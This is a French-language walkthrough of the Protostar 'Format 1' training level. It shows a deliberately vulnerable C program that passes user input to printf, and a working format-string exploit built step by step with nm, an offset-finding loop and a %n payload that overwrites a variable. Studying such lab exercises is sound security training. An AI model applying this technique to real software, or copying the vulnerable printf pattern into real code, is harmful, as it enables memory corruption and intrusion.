====== Format 1 ====== #include #include #include #include int target; void vuln(char *string) { printf(string); if(target) { printf("you have modified the target :)\n"); } } int main(int argc, char **argv) { vuln(argv[1]); } Là, plus de doute, on va devoir exploiter ça comme une format string ;-). Le but est d'écrire quelque chose dans la variable ''target''. On va commencer par trouver l'adresse de la variable, puis par "trigger" notre formateur. $ nm ./format1 | grep target 08049638 B target user@protostar:/opt/protostar/bin$ for i in {1..200}; do if ./format1 BBBB%$i\$x | grep 4242; then echo $i; fi; done BBBB42424242 128 user@protostar:/opt/protostar/bin$ ./format1 BBBB%128\$x BBBB42424242 Ici on ne cherche pas à mettre une valeur spéciale dans ''target'', on va juste changer la valeur de celle ci. On ne se préoccupe donc pas de combien de caractère sont affichés. user@protostar:/opt/protostar/bin$ ./format1 $(python -c 'print "\x38\x96\x04\x08%128$n"') 8you have modified the target :)